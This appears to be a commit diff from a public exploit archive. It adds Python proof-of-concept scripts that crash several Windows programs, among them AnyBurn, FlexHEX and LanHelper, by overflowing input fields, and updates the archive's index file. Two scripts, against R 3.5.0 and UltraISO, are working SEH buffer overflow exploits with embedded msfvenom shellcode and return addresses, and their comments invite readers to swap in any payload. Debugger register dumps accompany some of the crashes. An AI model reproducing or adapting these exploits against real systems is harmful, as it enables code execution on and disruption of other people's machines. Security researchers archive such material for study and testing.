amount_to_send = smsg->hdr.sadb_msg_len << 3;
printf("trying to write %zd bytes\n", amount_to_send);
written = write(fd, smsg, amount_to_send);
printf("written: %zd\n", written);
return 0;
}

31
exploits/windows/dos/46289.py Executable file
View file

@ -0,0 +1,31 @@
#!/usr/bin/python
# Exploit Title: AnyBurn x86 - Denial of Service (DoS)
# Date: 30-01-2019
# Exploit Author: Dino Covotsos - Telspace Systems
# Vendor Homepage: http://www.anyburn.com/
# Version: 4.3 (32-bit)
# Software Link : http://www.anyburn.com/anyburn_setup.exe
# Contact: services[@]telspace.co.za
# Twitter: @telspacesystems (Greets to the Telspace Crew)
# Tested Version: 4.3 (32-bit)
# Tested on: Windows XP SP3 ENG x86
# Note: The other exploitation field in Anyburn was discovered by Achilles
# CVE: TBC from Mitre
# Created in preparation for OSCE - DC - Telspace Systems
# DOS PoC:
# 1.) Generate exploit.txt, copy the contents to clipboard
# 2.) In the application, open 'Convert image to file format'
# 3.) Paste the contents of exploit.txt under 'Select source image file' and "Select Destination image file"
# 4.) Click "Convert Now" and the program crashes
buffer = "A" * 10000
payload = buffer
try:
f=open("exploit.txt","w")
print "[+] Creating %s bytes evil payload.." %len(payload)
f.write(payload)
f.close()
print "[+] File created!"
except:
print "File cannot be created"

26
exploits/windows/dos/46291.py Executable file
View file

@ -0,0 +1,26 @@
# Exploit Title: Advanced Host Monitor 11.90 Beta - 'Registration number' Denial of Service (PoC)
# Discovery by: Luis Martinez
# Discovery Date: 2019-01-30
# Vendor Homepage: https://www.ks-soft.net
# Software Link : https://www.ks-soft.net/download/hm1190.exe
# Tested Version: 11.90 Beta
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Pro x64 es
# Steps to Produce the Crash:
# 1.- Run python code : python Advanced_Host_Monitor_11.90_Beta.py
# 2.- Open Advanced_Host_Monitor_11.90_Beta.txt and copy content to clipboard
# 3.- Open HostMonitor
# 4.- Help -> License...
# 5.- Register Now
# 6.- Name (Organization): -> l4m5
# 7.- Paste ClipBoard on "Registration number:"
# 8.- OK
# 9.- Crashed
#!/usr/bin/env python
buffer = "\x41" * 1050
f = open ("Advanced_Host_Monitor_11.90_Beta.txt", "w")
f.write(buffer)
f.close()

21
exploits/windows/dos/46292.py Executable file
View file

@ -0,0 +1,21 @@
# Exploit Title: a-Mac Address Change v5.4 - Denial of Service (PoC)
# Discovery by: Rafael Pedrero
# Discovery Date: 2019-01-30
# Vendor Homepage: http://amac.paqtool.com/
# Software Link : http://amac.paqtool.com/
# Tested Version: 5.4
# Tested on: Windows XP SP3
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow
# Steps to Produce the Crash:
# 1.- Run amac.exe
# 2.- copy content amac_Crash.txt or 212 "A" to clipboard (result from this python script)
# 3.- Go to Register - Amac Register Form and paste the result in all fields: "Your Name", "Your Company", "Register Code"
# 4.- Click in Register button and you will see a crash.
#!/usr/bin/env python
crash = "\x41" * 212
f = open ("amac_Crash.txt", "w")
f.write(crash)
f.close()

21
exploits/windows/dos/46293.py Executable file
View file

@ -0,0 +1,21 @@
# Exploit Title: ASPRunner Professional v6.0.766 - Denial of Service (PoC)
# Discovery by: Rafael Pedrero
# Discovery Date: 2019-01-30
# Vendor Homepage: http://www.xlinesoft.com/asprunnerpro
# Software Link : http://www.xlinesoft.com/asprunnerpro
# Tested Version: v6.0.766
# Tested on: Windows XP SP3
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow
# Steps to Produce the Crash:
# 1.- Run AspRunnerPro.exe
# 2.- copy content AspRunnerPro_Crash.txt or 180 "A" to clipboard (result from this python script)
# 3.- Go to Wizard "Create a new project" - in "Project name:" field paste the result (180 "A" or more)
# 4.- Click in Next button and you will see a crash.
#!/usr/bin/env python
crash = "\x41" * 180
f = open ("AspRunnerPro_Crash.txt", "w")
f.write(crash)
f.close()

72
exploits/windows/dos/46294.py Executable file
View file

@ -0,0 +1,72 @@
# Exploit Title: FlexHEX v2.46 - Denial of Service (PoC) and SEH overwritten Crash PoC
# Discovery by: Rafael Pedrero
# Discovery Date: 2018-12-20
# Vendor Homepage: http://www.flexhex.com/order/?r1=iNetShortcut&r2=fhx1
# Software Link : http://www.flexhex.com/order/?r1=iNetShortcut&r2=fhx1
# Tested Version: 2.46
# Tested on: Windows XP SP3
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow
# Steps to Produce the Crash:
# 1.- Run FlexHEX.exe
# 2.- Go to Menu "Stream" - "New Stream" and copy content of FlexHEX_SEH_Crash.txt to clipboard
# 3.- Paste the content into the field: 'Stream Name:'
# 4.- Click 'OK' button and you will see a crash.
'''
Log data, item 21
Address=0BADF00D
Message= SEH record (nseh field) at 0x0012dde8 overwritten with unicode
pattern : 0x006a0041 (offset 276), followed by 20 bytes of cyclic data
after the handler
SEH chain of main thread
Address SE handler
0012DDFC FlexHEX.00420042
00420042 8BC13B2C
4E8B3C46 *** CORRUPT ENTRY ***
EAX 00410041 FlexHEX.00410041
ECX 00000000
EDX 00000000
EBX 0012FA18
ESP 0012DE3C UNICODE "AAAAAAAAAABBBB"
EBP 00410041 FlexHEX.00410041
ESI 0012DE78
EDI 0012E69C
EIP 00410041 FlexHEX.00410041
C 0 ES 0023 32bit 0(FFFFFFFF)
P 0 CS 001B 32bit 0(FFFFFFFF)
A 1 SS 0023 32bit 0(FFFFFFFF)
Z 0 DS 0023 32bit 0(FFFFFFFF)
S 0 FS 003B 32bit 7FFDF000(FFF)
T 0 GS 0000 NULL
D 0
O 0 LastErr ERROR_SUCCESS (00000000)
EFL 00010212 (NO,NB,NE,A,NS,PO,GE,G)
ST0 empty
ST1 empty
ST2 empty
ST3 empty
ST4 empty
ST5 empty
ST6 empty
ST7 empty
3 2 1 0 E S P U O Z D I
FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT)
FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1
'''
#!/usr/bin/env python
nseh = "BB"
seh = "BB"
junk = "\x41" * 276
crash = junk + nseh + seh
f = open ("FlexHEX_SEH_Crash.txt", "w")
f.write(crash)
f.close()

55
exploits/windows/dos/46295.py Executable file
View file

@ -0,0 +1,55 @@
# Exploit Title: LanHelper v1.74 - Denial of Service (PoC)
# Discovery by: Rafael Pedrero
# Discovery Date: 2019-01-31
# Vendor Homepage: http://www.hainsoft.com/
# Software Link : http://www.hainsoft.com/
# Tested Version: 1.74
# Tested on: Windows XP SP3
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow
# Steps to Produce the Crash:
# 1.- Run LanHelper.exe
# 2.- copy content LanHelper_Crash.txt or 6000 "A" to clipboard (result from this python script)
# 3.- Go to "NT-Utilities" - "Form Send Message" - Tab "Message" - "Add" - "Add target" and paste the result from this python script
# 4.- Paste the result from this python script in "Message text:", same form.
# 5.- Click in Send button and you will see a crash.
'''
EAX 00410041 LanHelpe.00410041
ECX 00410041 LanHelpe.00410041
EDX 00410041 LanHelpe.00410041
EBX 00410745 LanHelpe.00410745
ESP 013DFE70
EBP 013DFE94
ESI 00B6F268
EDI 00B6F96C UNICODE "AAAAAAAAAAAAAAAAAA"
EIP 00401D0A LanHelpe.00401D0A
C 0 ES 0023 32bit 0(FFFFFFFF)
P 1 CS 001B 32bit 0(FFFFFFFF)
A 0 SS 0023 32bit 0(FFFFFFFF)
Z 0 DS 0023 32bit 0(FFFFFFFF)
S 0 FS 003B 32bit 7FFD9000(FFF)
T 0 GS 0000 NULL
D 0
O 0 LastErr ERROR_IO_PENDING (000003E5)
EFL 00010206 (NO,NB,NE,A,NS,PE,GE,G)
ST0 empty
ST1 empty
ST2 empty
ST3 empty
ST4 empty
ST5 empty
ST6 empty
ST7 empty
3 2 1 0 E S P U O Z D I
FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT)
FCW 1372 Prec NEAR,64 Mask 1 1 0 0 1 0
'''
#!/usr/bin/env python
crash = "\x41" * 6000
f = open ("LanHelper_Crash.txt", "w")
f.write(crash)
f.close()

51
exploits/windows/local/46288.py Executable file
View file

@ -0,0 +1,51 @@
#!/usr/bin/python
# Exploit Title: R i386 3.5.0 - Local Buffer Overflow (SEH)
# Date: 30/01/2019
# Exploit Author: Dino Covotsos - Telspace Systems
# Vendor Homepage: https://www.r-project.org/
# Version: 3.5.0
# Software Link: https://cran.r-project.org/bin/windows/base/old/3.5.0/R-3.5.0-win.exe
# Contact: services[@]telspace.co.za
# Twitter: @telspacesystems (Greets to the Telspace Crew)
# Version: 3.5.0
# Tested on: Windows XP Prof SP3 ENG x86
# Note: SEH exploitation method (SEH + DEP Bypass exploit for Windows 7 x86 by Bzyo available on exploit-db)
# CVE: TBC from Mitre
# Created in preparation for OSCE - DC - Telspace Systems
# PoC:
# 1.) Generate exploit.txt, copy the contents to clipboard
# 2.) In the application, open 'Edit' then 'Gui Preferences'
# 3.) Paste the contents of exploit.txt under 'Language for menus and messages'
# 4.) Click OK - Calc POPS (or change shellcode to whatever you require, take note of badchars!)
#PPR Information
#Message= 0x6cb99185 : pop ebx # pop esi # ret 0x08 | {PAGE_EXECUTE_READ} [R.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.5.0
#msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -e x86/shikata_ga_nai -b "\x00\x0a\x0d\x1a\x7d" -f c
shellcode = ("\xd9\xc6\xb8\x06\x7f\x92\x78\xd9\x74\x24\xf4\x5b\x29\xc9\xb1"
"\x31\x83\xc3\x04\x31\x43\x14\x03\x43\x12\x9d\x67\x84\xf2\xe3"
"\x88\x75\x02\x84\x01\x90\x33\x84\x76\xd0\x63\x34\xfc\xb4\x8f"
"\xbf\x50\x2d\x04\xcd\x7c\x42\xad\x78\x5b\x6d\x2e\xd0\x9f\xec"
"\xac\x2b\xcc\xce\x8d\xe3\x01\x0e\xca\x1e\xeb\x42\x83\x55\x5e"
"\x73\xa0\x20\x63\xf8\xfa\xa5\xe3\x1d\x4a\xc7\xc2\xb3\xc1\x9e"
"\xc4\x32\x06\xab\x4c\x2d\x4b\x96\x07\xc6\xbf\x6c\x96\x0e\x8e"
"\x8d\x35\x6f\x3f\x7c\x47\xb7\x87\x9f\x32\xc1\xf4\x22\x45\x16"
"\x87\xf8\xc0\x8d\x2f\x8a\x73\x6a\xce\x5f\xe5\xf9\xdc\x14\x61"
"\xa5\xc0\xab\xa6\xdd\xfc\x20\x49\x32\x75\x72\x6e\x96\xde\x20"
"\x0f\x8f\xba\x87\x30\xcf\x65\x77\x95\x9b\x8b\x6c\xa4\xc1\xc1"
"\x73\x3a\x7c\xa7\x74\x44\x7f\x97\x1c\x75\xf4\x78\x5a\x8a\xdf"
"\x3d\x94\xc0\x42\x17\x3d\x8d\x16\x2a\x20\x2e\xcd\x68\x5d\xad"
"\xe4\x10\x9a\xad\x8c\x15\xe6\x69\x7c\x67\x77\x1c\x82\xd4\x78"
"\x35\xe1\xbb\xea\xd5\xc8\x5e\x8b\x7c\x15")
buffer = "A" * 884 + "\xEB\x09\x90\x90" + "\x85\x91\xb9\x6c" + "\x90" * 20 + shellcode + "D" * 8868
payload = buffer
try:
f=open("exploit.txt","w")
print "[+] Creating %s bytes evil payload.." %len(payload)
f.write(payload)
f.close()
print "[+] File created!"
except:
print "File cannot be created"

51
exploits/windows/local/46290.py Executable file
View file

@ -0,0 +1,51 @@
#!/usr/bin/python
# Exploit Title: UltraISO 9.7.1.3519 - Local Buffer Overflow (SEH)
# Date: 30/01/2019
# Exploit Author: Dino Covotsos - Telspace Systems
# Vendor Homepage: https://www.ultraiso.com/
# Version: 9.7.1.3519
# Software Link: https://www.ultraiso.com/download.html
# Contact: services[@]telspace.co.za
# Twitter: @telspacesystems (Greets to the Telspace Crew)
# Tested on: Windows XP Prof SP3 ENG x86
# CVE: TBC from Mitre
# Thanks to Francisco Ramirez for the original Windows 10 x64 DOS.
# Created in preparation for OSCE - DC - Telspace Systems
# PoC:
# 1.) Generate exploit.txt, copy the content to clipboard
# 2.) In the application, click "Make CD/DVD Image"
# 3.) Paste the contents of exploit.txt under 'Output FileName'
# 4.) Click OK - Calc POPS (or change shellcode to whatever you require, take note of badchars!)
#0x72d1170b : pop esi # pop ebx # ret 0x04 | {PAGE_EXECUTE_READ} [msacm32.drv] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v5.1.2600.0
#NSEH - JMP 0012ED66 (\xEB\x08)
#msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -e x86/shikata_ga_nai -b "\x00\x0a\x0d\x3a" -f c
shellcode = ("\xda\xc0\xd9\x74\x24\xf4\xbf\x67\xdc\x50\x39\x5d\x2b\xc9\xb1"
"\x31\x83\xc5\x04\x31\x7d\x14\x03\x7d\x73\x3e\xa5\xc5\x93\x3c"
"\x46\x36\x63\x21\xce\xd3\x52\x61\xb4\x90\xc4\x51\xbe\xf5\xe8"
"\x1a\x92\xed\x7b\x6e\x3b\x01\xcc\xc5\x1d\x2c\xcd\x76\x5d\x2f"
"\x4d\x85\xb2\x8f\x6c\x46\xc7\xce\xa9\xbb\x2a\x82\x62\xb7\x99"
"\x33\x07\x8d\x21\xbf\x5b\x03\x22\x5c\x2b\x22\x03\xf3\x20\x7d"
"\x83\xf5\xe5\xf5\x8a\xed\xea\x30\x44\x85\xd8\xcf\x57\x4f\x11"
"\x2f\xfb\xae\x9e\xc2\x05\xf6\x18\x3d\x70\x0e\x5b\xc0\x83\xd5"
"\x26\x1e\x01\xce\x80\xd5\xb1\x2a\x31\x39\x27\xb8\x3d\xf6\x23"
"\xe6\x21\x09\xe7\x9c\x5d\x82\x06\x73\xd4\xd0\x2c\x57\xbd\x83"
"\x4d\xce\x1b\x65\x71\x10\xc4\xda\xd7\x5a\xe8\x0f\x6a\x01\x66"
"\xd1\xf8\x3f\xc4\xd1\x02\x40\x78\xba\x33\xcb\x17\xbd\xcb\x1e"
"\x5c\x31\x86\x03\xf4\xda\x4f\xd6\x45\x87\x6f\x0c\x89\xbe\xf3"
"\xa5\x71\x45\xeb\xcf\x74\x01\xab\x3c\x04\x1a\x5e\x43\xbb\x1b"
"\x4b\x20\x5a\x88\x17\x89\xf9\x28\xbd\xd5")
buffer = "A" * 304 + "\xEB\x08\x90\x90" + "\x0b\x17\xd1\x72" + "\x90" * 20 + shellcode + "D" * 9448
payload = buffer
try:
f=open("exploit.txt","w")
print "[+] Creating %s bytes evil payload.." %len(payload)
f.write(payload)
f.close()
print "[+] File created!"
except:
print "File cannot be created"

View file

@ -6280,6 +6280,17 @@ id,file,description,date,author,type,platform,port
46285,exploits/multiple/dos/46285.c,"iOS/macOS 10.13.6 - 'if_ports_used_update_wakeuuid()' 16-byte Uninitialized Kernel Stack Disclosure",2019-01-30,"Google Security Research",dos,multiple,
46286,exploits/windows/dos/46286.py,"IP-Tools 2.50 - Denial of Service SEH Overwrite (PoC)",2019-01-30,"Rafael Pedrero",dos,windows,
46287,exploits/windows/dos/46287.py,"Necrosoft DIG 0.4 - Denial of Service SEH Overwrite (PoC)",2019-01-30,"Rafael Pedrero",dos,windows,
46289,exploits/windows/dos/46289.py,"Anyburn 4.3 - 'Convert image to file format' Denial of Service",2019-01-31,"Dino Covotsos",dos,windows,
46291,exploits/windows/dos/46291.py,"Advanced Host Monitor 11.90 Beta - 'Registration number' Denial of Service (PoC)",2019-01-31,"Luis Martínez",dos,windows,
46292,exploits/windows/dos/46292.py,"AMAC Address Change 5.4 - Denial of Service (PoC)",2019-01-31,"Rafael Pedrero",dos,windows,
46293,exploits/windows/dos/46293.py,"ASPRunner Professional 6.0.766 - Denial of Service (PoC)",2019-01-31,"Rafael Pedrero",dos,windows,
46294,exploits/windows/dos/46294.py,"FlexHEX 2.46 - Denial of Service SEH Overwrite (PoC)",2019-01-31,"Rafael Pedrero",dos,windows,
46295,exploits/windows/dos/46295.py,"LanHelper 1.74 - Denial of Service (PoC)",2019-01-31,"Rafael Pedrero",dos,windows,
46296,exploits/macos/dos/46296.c,"macOS XNU - Copy-on-Write Behaviour Bypass via Partial-Page Truncation of File",2019-01-31,"Google Security Research",dos,macos,
46297,exploits/multiple/dos/46297.c,"macOS < 10.14.3 / iOS < 12.1.3 - Arbitrary mach Port Name Deallocation in XPC Services due to Invalid mach Message Parsing in _xpc_serializer_unpack",2019-01-31,"Google Security Research",dos,multiple,
46298,exploits/multiple/dos/46298.c,"macOS < 10.14.3 / iOS < 12.1.3 - Sandbox Escapes due to Type Confusions and Memory Safety Issues in iohideventsystem",2019-01-31,"Google Security Research",dos,multiple,
46299,exploits/multiple/dos/46299.c,"macOS < 10.14.3 / iOS < 12.1.3 XNU - 'vm_map_copy' Optimization which Requires Atomicity isn't Atomic",2019-01-31,"Google Security Research",dos,multiple,
46300,exploits/multiple/dos/46300.c,"macOS < 10.14.3 / iOS < 12.1.3 - Kernel Heap Overflow in PF_KEY due to Lack of Bounds Checking when Retrieving Statistics",2019-01-31,"Google Security Research",dos,multiple,
3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux,
4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris,
12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux,
@ -10257,7 +10268,9 @@ id,file,description,date,author,type,platform,port
46267,exploits/windows/local/46267.py,"BEWARD Intercom 2.3.1 - Credentials Disclosure",2019-01-28,LiquidWorm,local,windows,
46269,exploits/windows/local/46269.py,"Faleemi Desktop Software 1.8 - Local Buffer Overflow (SEH) (DEP Bypass)",2019-01-28,bzyo,local,windows,
46279,exploits/windows/local/46279.py,"HTML5 Video Player 1.2.5 - Local Buffer Overflow (Non SEH)",2019-01-29,"Dino Covotsos",local,windows,
46283,exploits/windows/local/46283.py,"10-Strike Network Inventory Explorer 8.54 - Local Buffer Overflow (SEH)(DEP Bypass)",2019-01-30,bzyo,local,windows,
46283,exploits/windows/local/46283.py,"10-Strike Network Inventory Explorer 8.54 - Local Buffer Overflow (SEH) (DEP Bypass)",2019-01-30,bzyo,local,windows,
46288,exploits/windows/local/46288.py,"R 3.5.0 - Local Buffer Overflow (SEH)",2019-01-31,"Dino Covotsos",local,windows,
46290,exploits/windows/local/46290.py,"UltraISO 9.7.1.3519 - 'Output FileName' Local Buffer Overflow (SEH)",2019-01-31,"Dino Covotsos",local,windows,
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139

Can't render this file because it is too large.